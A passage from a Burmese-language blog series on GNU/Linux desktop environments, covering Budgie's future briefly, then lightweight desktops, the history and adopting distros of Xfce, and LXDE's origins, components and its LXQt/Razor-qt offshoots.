၁၈ရက်နေ့ ၂၀၁၇ခုနှစ်ကထွက်တဲ့ Solus 2017.04.18.0 ဆိုပြီးတော့ ၂၀၁၇ ထဲမှာထွက်ထားပါတယ်။ Solus ရဲ့ default DE ကတော့ သိပြီးကြတဲ့အတိုင်း Budgie ဖြစ်ပါတယ်။

အဲ့ဒီတော့… Budgie ဟာ အခက်အခဲပေါင်းများစွာကို ဖြတ်သန်းခဲ့ရပြီးတော့ အခုအချိန်မှာလည်း GTK+ ကနေ Qt ကို ပြောင်းတဲ့အခါမှာလည်း အခက်အခဲများစွာ ထပ်ပြီးတော့ ကြုံတွေ့ရအုံးမှာပါ။ မည်သို့ပင်ဖြစ်စေ အချိန်တိုအတွင်းမှာ နာမည်ရလာတဲ့ Solus distro နဲ့ သူ့ရဲ့ Budgie DE ကတော့ GNU/Linux နဲ့ Open Source community မှာတော့ လူပြောများတဲ့ အကြောင်းတစ်ခုပါ။ ထို့အပြင် Ubuntu လိုနာမည်ကြီး distro မှာတောင် Budgie ကို official flavour အနေနဲ့ အသုံးပြုလာခဲ့ပါတယ်။ GTK+ ကနေ Qt ကို ပြောင်းရမှာကတော့ Budgie အတွက်ကောင်းတဲ့ အလားအလာတစ်ခုပါ။ သို့သော်… Budgie 11 မှာ အဲ့ဒီအပြောင်းအလဲကြောင့် ဘယ်လို ဂယက်မျိုးရိုက်ခက်နိုင်တယ်ဆိုတာကတော့ စိတ်ဝင်စားဖို့ကောင်းပါတယ်။ အခုအချိန်ထိတော့ Budgie ဟာ အရှေ့ရောက်နေသေးတဲ့ DE တစ်ခုပါ။

Budgie အကြောင်းကိုတော့ ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။ နောက် post တစ်ခုမှာတော့ Xfce ဆိုတဲ့ lightweight DE တစ်ခုနဲ့ မိတ်ဆက်ပေးချင်ပါသေးတယ်။ ဒီ post ကိုတော့ ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။


# GNU/Linux Desktop Environment များအကြောင်း အပိုင်း (၄)

Xfce desktop အကြောင်း မစခင် GNU/Linux မှာ ရနိုင်တဲ့ lightweight desktop တွေအကြောင်းကို အကျဉ်းချုပ်ပြီးတော့ ဆွေးနွေးချင်ပါတယ်။ PC အဟောင်းတွေ Laptop အဟောင်းတွေပေါ်မှာ အရမ်းကို အလုပ်ဖြစ်တဲ့ DE တွေမို့ သိထားသင့်တယ်လို့ ထင်ပါတယ်။ ပုံမှန်အားဖြင့်တော့ GNU/Linux distro တွေ ဘယ် DE နဲ့လာလာ Windows OS တွေထက်တော့ ပိုပြီးတော့ ပေ့ါပါးပြီးသားပါ။ SSD သုံးတဲ့ စက်တွေမှာဆိုပိုလို့တောင် သိသာပါတယ်။ အဲ့ဒါကတော့ Linux kernel ရဲ့ အစွမ်းထက်မှုနဲ့ boot process မှာ ဆွဲတင်ရတဲ့ module တွေ background service/daemon တွေဘယ်လောက် များလည်း မများဘူးလည်းဆိုတာပေါ်မှာလည်းမူတည်ပါတယ်။ Lightweight distro ဆိုတာလည်း boot process နဲ့ application တွေကို run တဲ့အခါမှာ ပေါ့ပါးအောင်လို့ background မှာ မလိုအပ်တဲ့ အရာတွေကို ဖြုတ်ပြီးတော့ minimal ဖြစ်အောင်လုပ်တဲ့ OS တွေကိုဆိုလိုခြင်းဖြစ်ပါတယ်။ Desktop Environment ကတော့ အဲ့လို lightweight လုပ်တဲ့အခါမှာ မပါမပြီး ထည့်သွင်းစဉ်းစားရတဲ့ အချက်တစ်ခုပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-90ea1ab6cb062d06e2604de03e348b0ed996a50a%2FXfce.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ပေါ့ပါးနိုင်သမျှ ပေ့ါပါးအောင်လုပ်တဲ့အခါမှာ အရိုးရှင်းဆုံး DE ဖြစ်အောင် လုပ်ရတာ performance နဲ့ resource utilisation အတွက် တော်တော်လေးသိသာ တယ်လို့ ဆိုရမှာပါ။ ဆိုလိုရင်းက သိပြီးကြတဲ့ အတိုင်း GNU/Linux လို Unix-like တွေမှာက modularity နဲ့ reusability ကအရမ်း အရေးကြီးပြီးတော့ GNU/Linux ecosystem အတွက် မရှိမဖြစ်လိုအပ်တဲ့ အရာတွေပါ။ Modularity ဆိုတာကတော့ အစိတ်အပိုင်းများစွာ နဲ့ ပေါင်းစပ်ပြီးတော့ အဲ့ဒီဟာတွေအားလုံး အချက်ကျကျ အတူတူ အလုပ်လုပ်အောင် ကြိုးပမ်းရတာဖြစ်တဲ့အတွက် တချို့ distro တွေမှာ ကိုယ်ကြိုက်သလို highly customize လုပ်လို့ရပါတယ်။ ဥပမာ Arch Linux လို distro ကို install လုပ်တဲ့အခါမှာ အရုပ်ဆက်သလို တစချင်းစီ အဖြုတ်အတက် လုပ်လို့ရပါတယ်။ Arch ကို install လုပ်ဖူးရင် သိပါလိမ့်မယ် functional OS တစ်ခုဖြစ်တဲ့ အထိကို ဘယ်လိုအပိုင်းတွေ တစ်ခုပြီးတစ်ခု command line ထဲကနေရိုက်ပြီးတော့ install လုပ်ရတယ်ဆိုတာကို… အဲ့ဒီလို တစ်ခုချင်းစီ ထည့်တဲ့ နေရာမှာ ကိုယ်ကြိုက်တဲ့ DE ကို နောက်ဆုံးမှာ ထည့်တာ အကြာဆုံးပါ။ ဘာလို့လဲဆိုတော့ DE က OS ရဲ့ အကြီးဆုံးသော component တစ်ခုပါ။ DE ထဲမှာမှ File Manager တွေ၊ Window Manager တွေ၊ DE နဲ့တွဲပြီးလာတတ်တဲ့ default application တွေ၊ Panel/Taskbar တွေ၊ Power Manager တွေ၊ Session Manager တွေ၊ Terminal emulator တွေအပြင် DE ရဲ့ animation အတွက်လိုအပ်တဲ့ အပိုင်းတွေပါဝင်ပါတယ်။ DE ရဲ့ animation ဟာ PC/Laptop ရဲ့ CPU နဲ့ RAM အတွက် အလုပ် အပေးနိုင်ဆုံး အရာတွေ ပါပဲ။ အဲ့ဒါကြောင့်လည်း lightweight DE နဲ့လာတဲ့ distro တွေကို ကြည့်လိုက်ရင် ဘာ animation မှမပါပဲနဲ့ ပုံစံတုံးတုံးကြီးတွေ ဖြစ်နေတတ်ပါတယ်။ နောက်ပြီး lightweight တွေဟာ GUI အတွက် လုပ်လို့ ရတဲ့ အပိုင်းမှာ full GNOME နဲ့ KDE လောက်မပြည့်စုံပါဘူး။ မရှိမဖြစ်ဆိုတဲ့ အပိုင်းတွေကိုပဲ ထည့်သွင်းထားပြီးတော့ တခြား မလိုအပ်တဲ့ အပိုင်းတွေကို ဖြုတ်ထားတတ် ကြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-493bc9e5f34604daad9252b69dcbbf2695b643c0%2FXubuntu.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8d49d42a407e27966879fbb1c3e41c3842a89260%2FManjaro-Xfce.png?alt=media" alt=""><figcaption></figcaption></figure>

ဘာဖြစ်လို့ အပေါ်မှာ lightweight အကြောင်းကို တင်ပြရသလဲဆိုရင် များသောအားဖြင့် GNU/Linux ကိုစပြီးတော့ အသုံးပြုသူတွေဟာ lightweight distro တစ်ခုခုနဲ့ ပထမဆုံး ထိတွေလိုက်မယ်ဆိုရင် Linux OS တွေက ပုံမလာပါဘူးဆိုတာမျိုးကို မကြာခဏ ကြားရတတ်လို့ပါ။ လှအောင်လုပ်ထားတဲ့ DE မဟုတ်တဲ့ အတွက် မလှပါဘူး။ ပေါ့အောင်လုပ်ထားတဲ့အတွက် ပေါ့ပါတယ်။ အဲ့ဒီတော့ Windows 10 လို standard OS ပုံစံမျိုးကြိုက်တယ်ဆိုရင်တော့ GNU/Linux မှာ Ubuntu ကို အခြေခံထားတဲ့ Zorin OS ဆိုတဲ့ distro ရှိပါတယ်။ Apple ရဲ့ macOS လို dock တွေ animation တွေအများကြီးနဲ့ ခေတ်ဆန်တဲ့ ပုံစံမျိုးကြိုက်တယ်ဆိုရင်တော့ Ubuntu ကိုပဲ အခြေခံထားတဲ့ Elementary OS ရှိပါတယ်။ backend shell နဲ့ command တွေက အားလုံးတူပြီးတော့ DE မှာပဲကွာခြားသွားတာကို ထင်ရှားစေလိုတဲ့ သဘောနဲ့ပြောပြရခြင်းဖြစ်ပါတယ်။ ဒီ post မှာကတော့ အရှေ့ တပိုင်း မှာကတိပြုထားတဲ့အတိုင်း Xfce ဆိုတဲ့ lightweight DE တစ်ခုအကြောင်း ဆက်လက်ဆွေးနွေး သွား မှာပဲဖြစ်ပါတယ်။ ကဲ… ကဲ… နောက်ကညီညီလေးလိုက်ဆို… (စကားချပ်။ ။ကြာနီကန်ဆရာတော် လေးသံနဲ့ ဖတ်ရန်။)

## Xfce

၁၉၉၆ ခုနှစ်တွင်းမှာ Olivier Fourdan ဆိုတဲ့ ပုဂ္ဂိုလ်က Linux နဲ့တွဲပြီးသုံးလို့ရတဲ့ Common Desktop Environment (CDE) တစ်ခုကို တည်ဆောက်ဖို့ကို project တစ်ခုကိုစခဲ့ပါတယ်။ အဲ့ဒီအချိန်တုန်း CDE ဟာ Unix desktop environment မှာသုံးတဲ့ component တစ်ခုဖြစ်ပြီးတော့ proprietary နေနဲ့ ရှိနေခဲ့ပါတယ်။ CDE ဟာ အဲ့ဒီအချိန်တုန်း developer တွေကြားမှာ ခေတ်စားခဲ့ပုံရပါတယ်။ KDE ဆိုတာကလည်း အဲ့ဒီ CDE ကနေတဆင့် ပေါက်ဖွားလာခဲ့တဲ့ DE တစ်ခုပါပဲ။ အခုတခါလည်း Xfce ဟာ CDE ရဲ့ကောင်းမွေးတွေကို ဆက်ခံပြီးတော့ အခုချိန်ထိတိုင် ရပ်တည်နိုင်စွမ်းရှိတဲ့ project တစ်ခုပါ။ အစပိုင်းမှာတော့ Olivier Fourdan တစ်ယောက် CDE ကနေစခဲ့သော်လည်း ၁၀နှစ်ကျော် ၁၂နှစ်အတွင်း အခေါက်ခေါက်အခါခါ ပြင်ဆင်လာရာကနေ CDE ကနေ လုံးဝခွဲထွက်ပြီးတော့ ကိုယ်ပိုင်ရပ်တည်နေတဲ့ project တစ်ခုဖြစ်လာခဲ့ပါတယ်။ Xfce ရဲ့ မူလ ပထမ အဓိပ္ပာယ်က XForms Common Environment ကိုအတိုကောက်ခေါ်တာဖြစ်ပါတယ်။ အရင်ကတော့ XForms toolkit ကိုသုံးခဲ့လို့ အဲ့လို ခေါ်တာဖြစ်သော်လည်း ၂ ခေါက်တိုင်တိုင် အစကနေပြန်ရေးရာကနေ GNOME မှာလိုပဲ GTK+ toolkit ကိုပဲ အသုံးပြုလာခဲ့ပါတယ်။ အဲ့ဒါကြောင့် နောက်ပိုင်းမှာတော့ Xfce ကို X Freakin’ Cool Environment လို့လည်း ခေါ်ချင်ရင်ခေါ်လို့ရပါတယ်လို့ Xfce wiki မှာဆိုထားပါတယ်။ အမှန်တော့ Xfce က ဘာကိုမှ အတိုကောက်သုံးနှုန်းထားတာ မဟုတ်တော့ပဲ၊ နာမည်အနေနဲ့သာ သတ်မှတ်ထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-64be7516ac4263918b25b84b3a4a51709751eca5%2FCDE_Application_Builder.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-f914623de6d2e45905b409186fbdc180c9372a29%2FKali-Linux-Xfce-4-768x432.jpg?alt=media" alt=""><figcaption></figcaption></figure>

၁၉၉၈ ခုနှစ်မှာ Olivier Fourdan ဟာ Xfce 2 ကို မိတ်ဆက်ပေးပါတယ်။ Xfce 2 မှာ Xfce ရဲ့ ပထမဆုံး Window Manager Xfwm ကိုပါ ထည့်ပြီးတော့ အသုံးပြုလာပါတယ်။ ပြီးတော့ သူက Xfwm ကို Red Hat Linux မှာထည့်နိုင်ဖို့ကို ကြိုးပမ်းခဲ့တာ မအောင်မြင်ခဲ့ပါဘူး။ Red Hat အနေနဲ့ licensing အရှုပ်အရှင်းရှိတာမို့ Xfwm ကိုထည့် မသုံးခဲ့တာပဲ ဖြစ်ပါတယ်။ ဘာလို့လဲဆိုတော့ Xfwm က XForms ကို သုံးထားပြီးတော့ XForms က အဲ့ဒီ အချိန်က proprietary closed source ဖြစ်နေလို့ပါပဲ။ အဲ့အချိန်တုန်းက XForms ကို တကိုယ်ရေ သုံးဖို့အတွက်သာ အခမဲ့ ပေးသုံးပါတယ်။ ထိုနည်းတူ Debian အတွက်လည်း အဲ့ဒီ licensing ပြဿနာကြောင့် Xfwm ကိုကောင်းပေမယ့်လည်း ယူသုံးလို့ မရခဲ့ပါဘူး။ Xfce 3 ထွက်လာတဲ့ အချိန်ကျမှပဲ Debian ကနေဆင်းသက်လာတဲ့ distro တွေက Xfwm ကို ပြန်လည်မွေးစားပြီးတော့ ယူသုံးလာကြပါတယ်။ အဲ့ဒီ Xfce 3 ကိုတော့ Olivier Fourdan က မတ်လ ၁၉၉၉ ခုနှစ်မှာ GTK+ ကိုအသုံးပြုပြီးတော့ ပြန်လည် ပြင်ဆင်ရေးခဲ့ပါတယ်။ အကျိုးဆက်ကတော့ Xfce 3.0 ကနေစပြီးတော့ Xfce နဲ့ သူ့ရဲ့ component တွေကို GNU GPL အောက်မှာ license ကိုထားလိုက်ပါတယ်။ Xfce 3.0 ကနေစပြီးတော့ license အရှုပ်အရင်း မရှိတော့တာကြောင့် open source community ရဲ့ contribution နဲ့ support တွေဟာလည်း ဒီရေအလား တိုးတက် များပြားလာတာကြောင့် Xfce ဟာ ကောင်းသတဲ့ ကောင်းလာပြီးတော့ နာမည်ရလာပါတယ်။ Xfce 4 ကိုရောက်လာတဲ့အခါမှာတော့ Xfce project ရဲ့ အရှိန်ဟာ တော်တော်လေးကို ကောင်းနေပါပြီ။ တချိန်တည်းမှာပဲ GTK+ 2 libraries ကိုလည်း Xfce 4 မှာစတင်ပြီးတော့ ပြောင်းသုံးလာပါတယ်။ အခုချိန်မှာတော့ Xfce ဟာ version 4.12 ထိတောင်ရောက်လို့နေပါပြီ။ lightweight DE တွေထဲမှာတော့ Xfce ဟာ သေသပ်လှပပြီးတော့ ပေါ့ပါး မြန်ဆန်တဲ့ desktop တစ်ခုဖြစ်ပါတယ်။ သို့သော် အသုံးပြုတဲ့အခါမှာတော့ GUI အတွက် feature တော့ အစုံမပါဘူးလို့ဆိုရမှာပါ။ addon utility တွေတော့ သုံးချင်ရင် ရှိပါတယ်။

ပေါ့ပါးပြီးတော့ modularity နဲ့ reusability ဆိုတဲ့ အင်္ဂါရပ်နဲ့ ပြည့်စုံမှုကြောင့် Xfce ကို GNU/Linux distro တော်တော်များများမှာ official default desktop အနေနဲ့ ယူသုံးကြပါတယ်။ Xfce DE ကို default desktop အနေနဲ့ သုံးထားတဲ့ distro တွေကတော့ အောက်ပါအတိုင်းဖြစ်ပါတယ်။

* Antergos
* BackBox
* Dragora GNU/Linux-libre
* Emmabuntüs
* Linux Lite
* Manjaro Linux
* MX Linux
* Mythbuntu
* PC/OS
* SalineOS
* SolydX
* UberStudent
* Ubuntu Studio
* Xubuntu
* Kali Linux

တခြား distro တွေမှာသုံးချင်ရင်လည်း ရှိပြီးသား DE ပေါ်ကနေပြီးတော့ Xfce ကို ထပ်ဆောင်း download လုပ်ပြီး install လုပ်လို့ရပါတယ်။ စာရေးသူ အနေနဲ့ တော့ LXDE ပြီးရင် Xfce ရဲ့ desktop ပုံစံလေးနဲ့ performance ကို တော်တော်လေး သဘောကျပါတယ်။ Minimalism ကို ကြိုက်တယ်ဆိုရင်တော့ Xfce နဲ့ LXDE ဟာ GNU/Linux အသုံးပြုသူတွေအတွက် အကျစ်လစ်ဆုံး DE တွေလို့ဆိုရမှာပါ။ ဒီလောက်ဆိုရင်တော့ Xfce အကြောင်းလည်း သိသင့်သလောက် သိပြီလို့ယူဆပါတယ်။ Xfce အကြောင်းကို ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။ နောက် post တစ်ခုမှာတော့ lightweight တွေ အကြောင်းပြောရင်းမို့ LXDE အကြောင်းကို ဆက်ပြီးတော့ ဆွေးနွေးတင်ပြလိုပါတယ်။


# GNU/Linux Desktop Environment များအကြောင်း အပိုင်း (၅)

ဒီ post မှာတော့ LXDE အကြောင်း ဆက်ပြီးတော့ ရေးပါ့မယ်။ အရှေ့မှာတော့ Xfce အကြောင်းကို မိတ်ဆက်ပေးတုန်း Lightweight Desktop ဆိုတာဘာလဲကို ရှင်းပြပေးပြီးသားမို့ LXDE အကြောင်းကို ခပ်သွက်သွက်လေးသွားလိုက်ကြရအောင်။ LXDE ဆိုတာကလည်း Xfce လို Ligthweight DE တစ်ခုဖြစ်ပါတယ်။ LXDE ဆိုတာကတော့ Lightweight X11 Desktop Environment ကိုအတိုကောက် ခေါ်ဆိုတာလည်းဖြစ်ပြီး၊ LXDE project ကို ၂၀၀၆ ခုနှစ်မှာ ထိုင်ဝမ်နိုင်ငံက Hong Jen Yee (PCMan) က စတင်မိတ်ဆက်ပေးခဲ့ ပါတယ်။ LXDE ကို C programming language နဲ့ ရေးထားပြီးတော့ GTK+ 2 toolkit ကို အသုံးပြုထားပါတယ်။ Unix ကော Unix-alike system တွေမှာပါသုံးလို့ ရအောင်လို့ ရည်ရွယ်ခဲ့တာပါ။ သက်တမ်းအားဖြင့် ၁၀နှစ်ကျော်ကျော်သာရှိသေးတဲ့ project တစ်ခုဖြစ်သော်လည်း LXDE ကို Lightweight distro တော်တော်များများမှာ တွင်တွင်ကျယ်ကျယ် အသုံးပြုလို့နေပါပြီ။ လက်ရှိအချိန်ထိတော့ usability၊ performance၊ aesthetic၊ functionality နဲ့ support ပိုင်းမှာတော့ လူတော်တော်များများက LXDE ကိုအမှတ်တော်တော်လေးကိုပေးကြပါတယ်။ LXDE ထက်ပေါ့တဲ့ DE တွေလည်းရှိတော့လည်း ရှိပါတယ်။ လက်တွေ့အသုံးပြုတဲ့အခါမှာတော့ အဆင်မပြေတာတွေရှိတာမို့ LXDE ကိုသာ အရိုးရှင်းဆုံးနဲ့ အလုပ်အဖြစ်ဆုံး DE တစ်ခု အနေနဲ့သာ စာရေးသူက မှတ်ယူခြင်းဖြစ်ပါတယ်။ နောက်ပြီးတော့ LXDE က စာရေးသူသုံးဖူးသမျှ DE တွေထဲမှာ စာရေးသူ အကြိုက်ဆုံး DE ပါ။ အထူးသဖြင့် laptop တွေပေါ်မှာ တော်တော်လေးကို သိသာပြီး Battery နဲ့ သုံးရတာဖြစ်တဲ့ အတွက် LXDE ရဲ့ အစွမ်းကို ပိုပြီးတော့ ထင်သာမြင်သာရှိစေပါတယ်။ CPU နဲ့ RAM ကိုလည်း အလုပ် သိပ်ပြီးတော့ မပေးတဲ့အတွက် တော်ရုံ PC အဟောင်းတွေ Laptop အဟောင်း တွေမှာ တော်တော်လေးကို သင့်တော်တဲ့ DE တစ်ခုပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a9885183110f0317723bedd2386875d182e06a3c%2FLXDE.png?alt=media" alt=""><figcaption></figcaption></figure>

LXDE Project ရဲ့ မူရင်း ရည်ရွယ်တာကလည်း မြန်ဆန်ပေါ့ပါးပြီးတော့ စွမ်းအင်သုံးစွဲမူမှာ လိုသလောက်နဲ့ အနည်းဆုံး ဖြစ်အောင်လုပ်ဖို့အတွက်ပါ။ Hong Jen Yee (PCMan) ဟာ ၂၀၀၆ ခုနှစ်မှာ PCManFM ဆိုတဲ့ file manager တစ်ခုကို စစချင်းမိတ်ဆက်ပေးလိုက်ပါတယ်။ PCManFM ဟာ LXDE ရဲ့ ပထမဆုံး component တစ်ခုပါ။ နောက်ပိုင်းမှ LXDE တစ်ခုလုံးကို တည်ဆောက်ဖို့ကို တခြား module တွေကိုလိုက်ရေးရာကနေပြီးတော့ ရုပ်လုံးပေါ်လာတာလည်း ဖြစ်ပါတယ်။ နောက်တစ်ခု ထူးခြားတာက LXDE မှာပါတဲ့ component တွေက တခြား GNOME DE မှာလို integrate လုပ်ထားတာ မဟုတ်ပဲနဲ့ တစ်စချင်းစီ ဖြုတ်လို့တက်လို့ရတာပါပဲ။ အဲ့ဒါကြောင့် component တွေဟာ dependency လည်းနည်းတယ်လို့ဆိုရမှာပါ။ အောက်မှာကတော့ LXDE မှာ ပါတဲ့ component အစိတ်အပိုင်းတွေပဲ ဖြစ်ပါတယ်။

* PCManFM: file တွေ folder တွေ ကို manage လုပ်ဖို့အတွက် သုံးတဲ့ File Manager တစ်ခုဖြစ်ပါတယ်။ GNU/Linux Distro တော်တော်များများမှာ အသုံးများတာကို တွေရပါလိမ့်မယ်။
* LXInput: Input device တွေအတွက် ရေးထားတဲ့ configuration tool တစ်ခုပါ။
* LXLauncher: ဒါကတော့ application တွေကို သုံးရတာလွယ်အောင်လို့ လုပ်ပေးထားတဲ့ Plank Dock လိုမျိုး application launcher တစ်ခုဖြစ်ပါတယ်။
* LXPanel: system တော်တော်များများမှာ မပါလို့ မပြီးတဲ့ Desktop Panel တစ်ခုဖြစ်ပါတယ်။ Windows မှာတော့ Taskbar လို့ခေါ် ပြီးတော့ GNU/Linux မှာတော့ Desktop Panel လို့ သိထားကြတဲ့ screen ရဲ့ အပေါ်ဆုံးမှာပဲ ဖြစ်ဖြစ် အောက်ဆုံးမှာပဲ ဖြစ်ဖြစ်ပါတတ် panel သို့မဟုတ် taskbar လေးကို ပြောခြင်းဖြစ်ပါတယ်။
* LXSession: ဒါကတော့ X Session Manager တစ်ခုဖြစ်ပါတယ်။ LXSession ကတော့ desktop environment တစ်ခုမှာ session တစ်ခုရဲ့ state တွေကို manage လုပ်ပေးတဲ့ component တစ်ခုဖြစ်ပါတယ်။ ဥပမာ ကိုယ်သုံးနေတဲ့ desktop session တစ်ခုကနေ log off လုပ်လိုက်မယ် ပြီးတော့ log in လုပ်လိုက်တာနဲ့ lock လုပ်ထားတာဟာ သဘောသဘာဝ မတူညီပါဘူး။ နောက်ပြီးတော့ system တစ်ခုရဲ့ startup မှာ ဘယ်လို program တွေ daemon တွေကို autostart လုပ်နိုင်တာဟာ Session Manager က နောက်ကနေပြီးတော့ လုပ်ပေးနေတဲ့ လုပ်ဆောင်ချက်တွေပဲဖြစ်ပါတယ်။
* LXAppearance: ဒီတစ်ခုကတော့ GTK+ theme switcher တစ်ခုပါ။ Icon ပုံစံတွေ ပြောင်းမယ် window ပုံစံတွေကိုပြောင်းချင်တယ်ဆိုရင် သုံးရတဲ့ module ဖြစ်ပြီးတော့ ပုံမှန်အားဖြင့် GNU/Linux distro တွေမှာဆို Appearance Settings အနောက်မှာ လုပ်ငန်းတွေကို လုပ်ပေးနေတဲ့ module ပါ။
* GPicView: Image Viewer application တစ်ခုဖြစ်ပါတယ်။
* LXMusic: အသံ file တွေကို ဖွင့်ဖို့အတွက် အသုံးပြုတဲ့ frontend component တစ်ခုပါ။
* LXTerminal: bash CLI Shell အတွက် သုံးတဲ့ Terminal Emulator တစ်ခုပါ။
* LXTask: system ပေါ်မှာ run နေတဲ့ process တွေ program တွေကို monitor လုပ်လို့ရအောင်လို့ လုပ်ပေးထားတဲ့ Windows မှာသုံးတဲ့ Task Manager လို component တစ်ခုပါ။
* LXRandR: RandR ဆိုတာကတော့ Resize and Rotate ကိုပြောတာပါ။ X Window System ရဲ့ GUI ကို ပဲ့ကိုင်ပေးထားတဲ့ component ပါ။ ဥပမာ screen refresh rate တို့ desktop resolution ပြောင်းတာတို့ ကို နောက်ကနေ လုပ်ဆောင်ပေးနေတဲ့ component တစ်ခုပါ။
* LXDM: X display manager တစ်ခုပါ။ သူကတော့ system ရဲ့ login လုပ်တဲ့ screen အနောက်မှာ Session Manager ကို လက်လွှဲ မပြောင်းပေးခင် ဘယ်လို desktop မျိုးနဲ့ session တစ်ခုကို စမလဲဆိုတာကို manage လုပ်ပေးတဲ့ component ပါ။ DE နှစ်ခုသို့မဟုတ် နှစ်ခုထက် ပိုတဲ့ အခါမျိုးမှာ display manager ရဲ့ လုပ်ဆောင်မှုက ပိုပြီးတော့ အရေးပါ ပါတယ်။
* LXNM: system တစ်ခုရဲ့ network settings တွေကို ထိန်းချုပ်ပေးထားတဲ့ Network Manager သို့မဟုတ် network connection helper daemon တစ်ခုဖြစ်ပါတယ်။ Wired ရော Wireless အတွက် ပါသုံးတဲ့ component တစ်ခုပါ။ အခုအခါမှာတော့ LXNM ဟာ active developing project အနေနဲ့ မဟုတ်တော့ပါဘူး။ LXDE ဟာလည်း အများ distro တွေနည်းတူ NetworkManager နဲ့ nm-applet တွေကိုသာ အသုံးပြုပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-aa1a85d9fa9d479fd573d5aac3b240aec47c1764%2FLXDE-Apps.png?alt=media" alt=""><figcaption></figcaption></figure>

တခြား ပါဝင်တဲ့ အစိတ်အပိုင်းတွေလည်းရှိပါတယ်။ အဲ့ဒီလို အစိတ်အပိုင်းတွေဟာ external project အနေနဲ့တည်ရှိပြီးတော့ LXDE project အတွက်ရေးပေးထားတဲ့ component တွေ program တွေ အနေနဲ့သာရှိပါတယ်။ အောက်မှာတော့ external project တွေက LXDE အတွက် ရေးပေးထား components လေးတွေပါ။

* Leafpad: ရိုးရှင်းပြီးတော့ အလွန်ကို ပေါ့ပါးတဲ့ Text Editor တစ်ခုပါ။
* Openbox: system တစ်ခုရဲ့ window အထားအသိုနဲ့ လုပ်ဆောင်ချက်များကို manage လုပ်ပေးတဲ့ window manager ပါ။
* ObConf: ဒါကတော့ Openbox ကို configure လုပ်ဖို့သုံးတဲ့ GUI tool တစ်ခုပါ။
* Xarchiver: file တွေ folder တွေကို archive လုပ်ဖို့ extract လုပ်ဖို့ သုံးတဲ့ file archiver တစ်ခုပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-72c972cc3203aaab9f38e2d5c29f0ad1f6093d5f%2Flubuntu-14-04-log-in-screen.jpg?alt=media" alt=""><figcaption></figcaption></figure>

LXDE ရဲ့ သိသင့် သိထိုက်တာတွေကို အထက်မှာ ဖော်ပြသင့်သလောက် ဖော်ပြပြီးတဲ့ နောက်မှာတော့ LXDE အကြောင်း ပြောရင် မပြောလို့ မပြီးတဲ့ အကြောင်းအရာ နှစ်ခုရှိပါတယ်။ အဲ့ဒါတွေကတော့ LXQt နဲ့ Razor-qt ပါပဲ။ LXQt ကိုတော့ မတ်လ ၂၆ရက်နေ့ ၂၀၁၃ခုနှစ်မှာတော့ LXDE ကို ဦးဆုံး စခဲ့တဲ့ Hong Jen Yee က စမ်းသပ်မှုသဘော အနေနဲ့ PCManFM ကို Qt toolkit နဲ့ port လုပ်ကြည့်ခဲ့ပါတယ်။ GTK+ 3 မှာစ ထွက်လာတာနဲ့ ပြဿနာ တော်တော်ရှိခဲ့ပုံရပါတယ်။ Hong Jen Yee ကလည်း GTK+ 3 ကို သဘောမတွေ့တော့တာနဲ့ Qt port လုပ်မယ်ဆိုပြီးတော့ ဖြစ်လာခဲ့တာပါ။ အဲ့ဒါကြောင့်လည်း LXDE ကနေပြီးတော့ Qt port လုပ်လိုက်လို့ LXQt ဆိုပြီးတော့ DE တစ်ခုထပ်ဖြစ်လာခဲ့ပါတယ်။ နောက်တခါ ဇွန်လိုင်လ ၂၁ရက်နေ့ ၂၀၁၃ ခုနှစ်မှာ Razor ဆိုတဲ့ DE project တစ်ခုက LXDE နဲ့လာပေါင်းလိုက်ပြီးတော့ Razor-qt ဆိုပြီးတော့ ဖြစ်လာခဲ့ပြန်ပါတယ်။ Razor ဟာလည်း Lightweight DE တစ်ခုရဖို့အတွက် ကြိုးပမ်းနေတဲ့ project တစ်ခုပါ။ LXDE နဲ့ ရည်ရွယ်ချက် ထက်တူကျရုံသာမက project ရဲ့ သဘော သဘာဝ သွားတူနေတာကြောင့် merge လုပ်လိုက်ကြတာပါ။ LXQt နဲ့ Razor-qt တို့ဟာ သက်တမ်းအားဖြင့် နုလွန်းလှသော်လည်း project အရှိန်ကတော်တော်လေးကောင်းတယ်လို့ဆိုရမှာပါ။ စာရေးသူ ထင်တာတော့ LXQt နဲ့ Razor-qt နှစ်ခုလုံးဟာ Lightweight ဖြစ်အောင်လုပ်ပြီးတော့ KDE လိုလှအောင် ရေးနိုင်ရင်တော့ နောက်ပိုင်းမှာ တွင်တွင်ကျယ်ကျယ် အသုံးပြုလာမယ့် DE တွေပဲဖြစ်ပါတယ်။ လက်ရှိမှာတော့ LXDE လောက် အဲ့ဒီ နှစ်ခုလုံးဟာ နာမည်မထွက်သလို အလုပ်သိပ်ဖြစ်ပုံတော့ မရပါဘူး။ Ubuntu လို distro ကနေပြီး ခွဲထွက်လာတဲ့ lightweight တွေမှာတော့ LXDE 